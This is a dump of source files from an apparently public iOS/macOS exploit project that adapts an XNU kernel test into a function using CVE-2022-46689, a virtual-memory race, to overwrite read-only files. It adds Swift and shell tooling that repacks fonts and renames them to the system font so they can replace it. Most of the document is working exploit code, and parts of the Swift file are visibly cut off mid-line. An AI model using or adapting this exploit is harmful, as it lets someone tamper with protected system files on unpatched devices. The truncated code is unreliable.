https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c 2 | // modified to compile outside of XNU 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include "vm_unaligned_copy_switch_race.h" 16 | 17 | #define T_QUIET 18 | #define T_EXPECT_MACH_SUCCESS(a, b) 19 | #define T_EXPECT_MACH_ERROR(a, b, c) 20 | #define T_ASSERT_MACH_SUCCESS(a, b, ...) 21 | #define T_ASSERT_MACH_ERROR(a, b, c) 22 | #define T_ASSERT_POSIX_SUCCESS(a, b) 23 | #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 24 | #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 25 | #define T_ASSERT_TRUE(a, b, ...) 26 | #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 27 | #define T_DECL(a, b) static void a(void) 28 | #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 29 | 30 | struct context1 { 31 | vm_size_t obj_size; 32 | vm_address_t e0; 33 | mach_port_t mem_entry_ro; 34 | mach_port_t mem_entry_rw; 35 | dispatch_semaphore_t running_sem; 36 | pthread_mutex_t mtx; 37 | volatile bool done; 38 | }; 39 | 40 | static void * 41 | switcheroo_thread(__unused void *arg) 42 | { 43 | kern_return_t kr; 44 | struct context1 *ctx; 45 | 46 | ctx = (struct context1 *)arg; 47 | /* tell main thread we're ready to run */ 48 | dispatch_semaphore_signal(ctx->running_sem); 49 | while (!ctx->done) { 50 | /* wait for main thread to be done setting things up */ 51 | pthread_mutex_lock(&ctx->mtx); 52 | if (ctx->done) { 53 | pthread_mutex_unlock(&ctx->mtx); 54 | break; 55 | } 56 | /* switch e0 to RW mapping */ 57 | kr = vm_map(mach_task_self(), 58 | &ctx->e0, 59 | ctx->obj_size, 60 | 0, /* mask */ 61 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 62 | ctx->mem_entry_rw, 63 | 0, 64 | FALSE, /* copy */ 65 | VM_PROT_READ | VM_PROT_WRITE, 66 | VM_PROT_READ | VM_PROT_WRITE, 67 | VM_INHERIT_DEFAULT); 68 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); 69 | /* wait a little bit */ 70 | usleep(100); 71 | /* switch bakc to original RO mapping */ 72 | kr = vm_map(mach_task_self(), 73 | &ctx->e0, 74 | ctx->obj_size, 75 | 0, /* mask */ 76 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 77 | ctx->mem_entry_ro, 78 | 0, 79 | FALSE, /* copy */ 80 | VM_PROT_READ, 81 | VM_PROT_READ, 82 | VM_INHERIT_DEFAULT); 83 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); 84 | /* tell main thread we're don switching mappings */ 85 | pthread_mutex_unlock(&ctx->mtx); 86 | usleep(100); 87 | } 88 | return NULL; 89 | } 90 | 91 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { 92 | bool retval = false; 93 | pthread_t th = NULL; 94 | int ret; 95 | kern_return_t kr; 96 | time_t start, duration; 97 | #if 0 98 | mach_msg_type_number_t cow_read_size; 99 | #endif 100 | vm_size_t copied_size; 101 | int loops; 102 | vm_address_t e2, e5; 103 | struct context1 context1, *ctx; 104 | int kern_success = 0, kern_protection_failure = 0, kern_other = 0; 105 | vm_address_t ro_addr, tmp_addr; 106 | memory_object_size_t mo_size; 107 | 108 | ctx = &context1; 109 | ctx->obj_size = 256 * 1024; 110 | 111 | void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); 112 | if (file_mapped == MAP_FAILED) { 113 | fprintf(stderr, "failed to map\n"); 114 | return false; 115 | } 116 | if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { 117 | fprintf(stderr, "already the same?\n"); 118 | munmap(file_mapped, ctx->obj_size); 119 | return true; 120 | } 121 | ro_addr = (vm_address_t)file_mapped; 122 | 123 | ctx->e0 = 0; 124 | ctx->running_sem = dispatch_semaphore_create(0); 125 | T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); 126 | ret = pthread_mutex_init(&ctx->mtx, NULL); 127 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); 128 | ctx->done = false; 129 | ctx->mem_entry_rw = MACH_PORT_NULL; 130 | ctx->mem_entry_ro = MACH_PORT_NULL; 131 | #if 0 132 | /* allocate our attack target memory */ 133 | kr = vm_allocate(mach_task_self(), 134 | &ro_addr, 135 | ctx->obj_size, 136 | VM_FLAGS_ANYWHERE); 137 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); 138 | /* initialize to 'A' */ 139 | memset((char *)ro_addr, 'A', ctx->obj_size); 140 | #endif 141 | 142 | /* make it read-only */ 143 | kr = vm_protect(mach_task_self(), 144 | ro_addr, 145 | ctx->obj_size, 146 | TRUE, /* set_maximum */ 147 | VM_PROT_READ); 148 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); 149 | /* make sure we can't get read-write handle on that target memory */ 150 | mo_size = ctx->obj_size; 151 | kr = mach_make_memory_entry_64(mach_task_self(), 152 | &mo_size, 153 | ro_addr, 154 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 155 | &ctx->mem_entry_ro, 156 | MACH_PORT_NULL); 157 | T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); 158 | /* take read-only handle on that target memory */ 159 | mo_size = ctx->obj_size; 160 | kr = mach_make_memory_entry_64(mach_task_self(), 161 | &mo_size, 162 | ro_addr, 163 | MAP_MEM_VM_SHARE | VM_PROT_READ, 164 | &ctx->mem_entry_ro, 165 | MACH_PORT_NULL); 166 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); 167 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 168 | /* make sure we can't map target memory as writable */ 169 | tmp_addr = 0; 170 | kr = vm_map(mach_task_self(), 171 | &tmp_addr, 172 | ctx->obj_size, 173 | 0, /* mask */ 174 | VM_FLAGS_ANYWHERE, 175 | ctx->mem_entry_ro, 176 | 0, 177 | FALSE, /* copy */ 178 | VM_PROT_READ, 179 | VM_PROT_READ | VM_PROT_WRITE, 180 | VM_INHERIT_DEFAULT); 181 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 182 | tmp_addr = 0; 183 | kr = vm_map(mach_task_self(), 184 | &tmp_addr, 185 | ctx->obj_size, 186 | 0, /* mask */ 187 | VM_FLAGS_ANYWHERE, 188 | ctx->mem_entry_ro, 189 | 0, 190 | FALSE, /* copy */ 191 | VM_PROT_READ | VM_PROT_WRITE, 192 | VM_PROT_READ | VM_PROT_WRITE, 193 | VM_INHERIT_DEFAULT); 194 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 195 | 196 | /* allocate a source buffer for the unaligned copy */ 197 | kr = vm_allocate(mach_task_self(), 198 | &e5, 199 | ctx->obj_size * 2, 200 | VM_FLAGS_ANYWHERE); 201 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); 202 | /* initialize to 'C' */ 203 | memset((char *)e5, 'C', ctx->obj_size * 2); 204 | 205 | char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); 206 | memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); 207 | 208 | int overwrite_first_diff_offset = -1; 209 | char overwrite_first_diff_value = 0; 210 | for (int off = 0; off < overwrite_length; off++) { 211 | if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { 212 | overwrite_first_diff_offset = off; 213 | overwrite_first_diff_value = ((char*)ro_addr)[off]; 214 | } 215 | } 216 | if (overwrite_first_diff_offset == -1) { 217 | fprintf(stderr, "no diff?\n"); 218 | return false; 219 | } 220 | 221 | /* 222 | * get a handle on some writable memory that will be temporarily 223 | * switched with the read-only mapping of our target memory to try 224 | * and trick copy_unaligned to write to our read-only target. 225 | */ 226 | tmp_addr = 0; 227 | kr = vm_allocate(mach_task_self(), 228 | &tmp_addr, 229 | ctx->obj_size, 230 | VM_FLAGS_ANYWHERE); 231 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); 232 | /* initialize to 'D' */ 233 | memset((char *)tmp_addr, 'D', ctx->obj_size); 234 | /* get a memory entry handle for that RW memory */ 235 | mo_size = ctx->obj_size; 236 | kr = mach_make_memory_entry_64(mach_task_self(), 237 | &mo_size, 238 | tmp_addr, 239 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 240 | &ctx->mem_entry_rw, 241 | MACH_PORT_NULL); 242 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); 243 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 244 | kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); 245 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); 246 | tmp_addr = 0; 247 | 248 | pthread_mutex_lock(&ctx->mtx); 249 | 250 | /* start racing thread */ 251 | ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); 252 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); 253 | 254 | /* wait for racing thread to be ready to run */ 255 | dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); 256 | 257 | duration = 10; /* 10 seconds */ 258 | T_LOG("Testing for %ld seconds...", duration); 259 | for (start = time(NULL), loops = 0; 260 | time(NULL) < start + duration; 261 | loops++) { 262 | /* reserve space for our 2 contiguous allocations */ 263 | e2 = 0; 264 | kr = vm_allocate(mach_task_self(), 265 | &e2, 266 | 2 * ctx->obj_size, 267 | VM_FLAGS_ANYWHERE); 268 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); 269 | 270 | /* make 1st allocation in our reserved space */ 271 | kr = vm_allocate(mach_task_self(), 272 | &e2, 273 | ctx->obj_size, 274 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); 275 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); 276 | /* initialize to 'B' */ 277 | memset((char *)e2, 'B', ctx->obj_size); 278 | 279 | /* map our read-only target memory right after */ 280 | ctx->e0 = e2 + ctx->obj_size; 281 | kr = vm_map(mach_task_self(), 282 | &ctx->e0, 283 | ctx->obj_size, 284 | 0, /* mask */ 285 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), 286 | ctx->mem_entry_ro, 287 | 0, 288 | FALSE, /* copy */ 289 | VM_PROT_READ, 290 | VM_PROT_READ, 291 | VM_INHERIT_DEFAULT); 292 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); 293 | 294 | /* let the racing thread go */ 295 | pthread_mutex_unlock(&ctx->mtx); 296 | /* wait a little bit */ 297 | usleep(100); 298 | 299 | /* trigger copy_unaligned while racing with other thread */ 300 | kr = vm_read_overwrite(mach_task_self(), 301 | e5, 302 | ctx->obj_size - 1 + overwrite_length, 303 | e2 + 1, 304 | &copied_size); 305 | T_QUIET; 306 | T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, 307 | "vm_read_overwrite kr %d", kr); 308 | switch (kr) { 309 | case KERN_SUCCESS: 310 | /* the target was RW */ 311 | kern_success++; 312 | break; 313 | case KERN_PROTECTION_FAILURE: 314 | /* the target was RO */ 315 | kern_protection_failure++; 316 | break; 317 | default: 318 | /* should not happen */ 319 | kern_other++; 320 | break; 321 | } 322 | /* check that our read-only memory was not modified */ 323 | #if 0 324 | T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); 325 | #endif 326 | bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; 327 | 328 | /* tell racing thread to stop toggling mappings */ 329 | pthread_mutex_lock(&ctx->mtx); 330 | 331 | /* clean up before next loop */ 332 | vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); 333 | ctx->e0 = 0; 334 | vm_deallocate(mach_task_self(), e2, ctx->obj_size); 335 | e2 = 0; 336 | if (!is_still_equal) { 337 | retval = true; 338 | fprintf(stderr, "RO mapping was modified\n"); 339 | break; 340 | } 341 | } 342 | 343 | ctx->done = true; 344 | pthread_mutex_unlock(&ctx->mtx); 345 | pthread_join(th, NULL); 346 | 347 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); 348 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); 349 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); 350 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); 351 | kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); 352 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); 353 | kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); 354 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); 355 | 356 | #if 0 357 | T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", 358 | kern_success, kern_protection_failure, kern_other); 359 | T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); 360 | #endif 361 | return retval; 362 | } 363 | -------------------------------------------------------------------------------- /WDBFontOverwrite/vm_unaligned_copy_switch_race.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. 5 | /// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` 6 | /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. 7 | /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. 8 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); 9 | -------------------------------------------------------------------------------- /build_woff2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # this repo contains a prebuilt version of woff2. 3 | # this rebuilds the version. 4 | # woff2 revision 4721483ad780ee2b63cb787bfee4aa64b61a0446. 5 | set -e 6 | rm -rf woff2/build || true 7 | mkdir woff2/build 8 | cd woff2/build 9 | cmake .. -G Ninja \ 10 | -DCMAKE_SYSTEM_NAME=iOS \ 11 | -DCMAKE_OSX_DEPLOYMENT_TARGET=14.0 \ 12 | -DCMAKE_OSX_ARCHITECTURES=arm64 \ 13 | -DBROTLIDEC_INCLUDE_DIRS=../brotli/c/include \ 14 | -DBROTLIDEC_LIBRARIES="FAKEFAKEFAKE" \ 15 | -DBROTLIENC_INCLUDE_DIRS=../brotli/c/include \ 16 | -DBROTLIENC_LIBRARIES="FAKEFAKEFAKE" \ 17 | -DBUILD_SHARED_LIBS=NO \ 18 | -DCMAKE_MACOSX_BUNDLE=OFF 19 | ninja woff2enc 20 | cp woff2/build/libwoff2common.a woff2/build/libwoff2enc.a WDBFontOverwrite/ 21 | -------------------------------------------------------------------------------- /repackfonts/BrotliPadding.swift: -------------------------------------------------------------------------------- 1 | import Compression 2 | import Foundation 3 | 4 | enum PackageInBrotliError: Error { 5 | case notEnoughSpaceForHeader 6 | } 7 | 8 | /// Stores the input data in a Brotli stream: does not compress, only store. 9 | /// Pads the last byte of every 16k boundary with 0x41. 10 | func packageInBrotliSkippingLastByteOfPage(input: Data, startingAddress: Int) throws -> Data { 11 | // https://datatracker.ietf.org/doc/html/rfc7932#section-11.1 12 | let pageSize = 0x4000 13 | var currentPageOff = startingAddress & (pageSize - 1) 14 | // Check for the one case we can't pad around: we start near the end of the page and 15 | // there's not enough space to pad out the last byte 16 | let streamHeaderSize = 1 17 | let metablockHeaderSize = 3 18 | let metablockPaddingHeaderSize = 2 19 | let reserveEndSpace = metablockPaddingHeaderSize + 1 20 | if pageSize - currentPageOff < (streamHeaderSize + reserveEndSpace) { 21 | throw PackageInBrotliError.notEnoughSpaceForHeader 22 | } 23 | let outStream: OutputStream = OutputStream.toMemory() 24 | outStream.open() 25 | func write(_ bytes: [UInt8]) { 26 | outStream.write(bytes, maxLength: bytes.count) 27 | } 28 | // stream header 29 | // WBITS = 18 (encoded as 0011 with little-endian bits) 30 | write([0b1100]) 31 | currentPageOff += 1 32 | var inputOff = 0 33 | while inputOff < input.count { 34 | var remainingSpace = pageSize - currentPageOff 35 | if remainingSpace > metablockHeaderSize + reserveEndSpace { 36 | let dataSize = min( 37 | remainingSpace - reserveEndSpace - metablockHeaderSize, input.count - inputOff) 38 | let isLast = 0 39 | let mNibbles = 0b00 // encoded = 4 nibbles 40 | let mLenEncoded = dataSize - 1 41 | // x | xx | 01234 42 | let firstByte = isLast | (mNibbles << 1) | ((mLenEncoded & 0b11111) << 3) 43 | // 56789abc 44 | let secondByte = (mLenEncoded >> 5) & 0xff 45 | 46 | let isUncompressed = 1 47 | // def | x 48 | let thirdByte = (mLenEncoded >> 13) & 0b111 | (isUncompressed << 3) 49 | write([UInt8(firstByte), UInt8(secondByte), UInt8(thirdByte)]) 50 | write([UInt8](input[inputOff..> 2) & 0b111111 69 | write([UInt8(firstByte), UInt8(secondByte)]) 70 | let paddingData = [UInt8](repeating: 0x41, count: dataSize) 71 | write(paddingData) 72 | } 73 | currentPageOff = 0 74 | } 75 | // write eod-of-stream 76 | write([0b11]) 77 | return outStream.property(forKey: .dataWrittenToMemoryStreamKey) as! Data 78 | } 79 | 80 | // everything is big endian! 81 | struct Woff2Header { 82 | // https://www.w3.org/TR/WOFF2/#woff20Header 83 | var signature: UInt32 84 | var flavor: UInt32 85 | var length: UInt32 86 | var numTables: UInt16 87 | var reserved: UInt16 88 | var totalSfntSize: UInt32 89 | var totalCompressedSize: UInt32 90 | var majorVersion: UInt16 91 | var minorVersion: UInt16 92 | var metaOffset: UInt32 93 | var metaLength: UInt32 94 | var metaOrigLength: UInt32 95 | var privOffset: UInt32 96 | var privLength: UInt32 97 | } 98 | 99 | enum RepackWoff2FontError: Error { 100 | case malformedInputWoff 101 | case zhuoweiMessedUp 102 | } 103 | 104 | func repackWoff2Font(input: Data) throws -> Data { 105 | let tableStart = MemoryLayout.size 106 | let headerBytes = [UInt8](input[0.. UInt16 { 139 | let oneMoreByteCode1 = 255 140 | let oneMoreByteCode2 = 254 141 | let wordCode = 253 142 | let lowestUCode = 253 143 | let first = input[tableEnd] 144 | var outNum: UInt16 = 0 145 | if first == wordCode { 146 | outNum = UInt16(input[tableEnd]) << 8 | UInt16(input[tableEnd]) 147 | tableEnd += 2 148 | } else if first == oneMoreByteCode1 || first == oneMoreByteCode2 { 149 | outNum = 150 | UInt16(input[tableEnd]) 151 | + UInt16(first == oneMoreByteCode1 ? lowestUCode : lowestUCode * 2) 152 | tableEnd += 1 153 | } else { 154 | outNum = UInt16(first) 155 | } 156 | tableEnd += 1 157 | return outNum 158 | } 159 | // version - skip 160 | tableEnd += 4 161 | let numCollectionFonts = read255UShort() 162 | for _ in 0...allocate(capacity: decodedCapacity) 176 | let decodedCharCount = compression_decode_buffer( 177 | decodedDestinationBuffer, decodedCapacity, 178 | brotliDataArray, brotliDataArray.count, 179 | nil, 180 | COMPRESSION_BROTLI) 181 | if decodedCharCount <= 0 { 182 | throw RepackWoff2FontError.malformedInputWoff 183 | } 184 | let decodedData = Data(bytes: decodedDestinationBuffer, count: decodedCharCount) 185 | 186 | let recompressedData = try packageInBrotliSkippingLastByteOfPage( 187 | input: decodedData, startingAddress: tableEnd) 188 | 189 | // make the output 190 | var outputData = Data() 191 | var outputHeader = header 192 | let paddedLength = (tableEnd + recompressedData.count + 3) & ~3 193 | let padding = [UInt8](repeating: 0x0, count: paddedLength - (tableEnd + recompressedData.count)) 194 | outputHeader.length = UInt32(tableEnd + recompressedData.count + padding.count).bigEndian 195 | outputHeader.totalCompressedSize = UInt32(recompressedData.count).bigEndian 196 | withUnsafeBytes(of: outputHeader) { 197 | outputData.append(contentsOf: $0) 198 | } 199 | outputData.append(input[tableStart.. "XmlFontsRenamed/$fontname.ttx" 21 | ttx -d RecompiledFonts --flavor woff2 "XmlFontsRenamed/$fontname.ttx" 22 | 23 | ./BrotliPadding "RecompiledFonts/$fontname.woff2" "RepackedFonts/$fontname.woff2" 24 | done 25 | -------------------------------------------------------------------------------- /repackfonts/make_woff2src.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | rm -rf PreviewFonts XmlFonts XmlFontsRenamed RecompiledFonts RepackedFonts || true 4 | mkdir -p PreviewFonts XmlFonts XmlFontsRenamed RecompiledFonts RepackedFonts || true 5 | 6 | IFS=" 7 | " 8 | fonts=" 9 | OriginalFonts/dejavu-fonts-ttf-2.37/ttf/DejaVuSansCondensed.ttf:DejaVuSansCondensed 10 | OriginalFonts/dejavu-fonts-ttf-2.37/ttf/DejaVuSansMono.ttf:DejaVuSansMono 11 | OriginalFonts/dejavu-fonts-ttf-2.37/ttf/DejaVuSerif.ttf:DejaVuSerif 12 | OriginalFonts/ChocoCooky/assets/fonts/Chococooky.ttf:Chococooky 13 | OriginalFonts/image/font/gofont/ttfs/Go-Regular.ttf:GoRegular 14 | OriginalFonts/image/font/gofont/ttfs/Go-Mono.ttf:GoMono 15 | OriginalFonts/Comic Sans MS.ttf:ComicSansMS 16 | OriginalFonts/segoeui.ttf:SegoeUI" 17 | for fontandname in $fonts 18 | do 19 | font="$(echo "$fontandname" | cut -d ":" -f 1)" 20 | fontpsname="$(echo "$fontandname" | cut -d ":" -f 2)" 21 | fontname="$(basename -s .otf "$(basename -s .ttf "$font")")" 22 | 23 | cp "$font" PreviewFonts/ 24 | 25 | ttx -d XmlFonts "$font" 26 | sed -e "s/$fontpsname/.SFUI-Regular/g" "XmlFonts/$fontname.ttx" > "XmlFontsRenamed/$fontname.ttx" 27 | ttx -d RecompiledFonts --flavor woff2 "XmlFontsRenamed/$fontname.ttx" 28 | 29 | ./BrotliPadding "RecompiledFonts/$fontname.woff2" "RepackedFonts/$fontname.woff2" 30 | done 31 | --------------------------------------------------------------------------------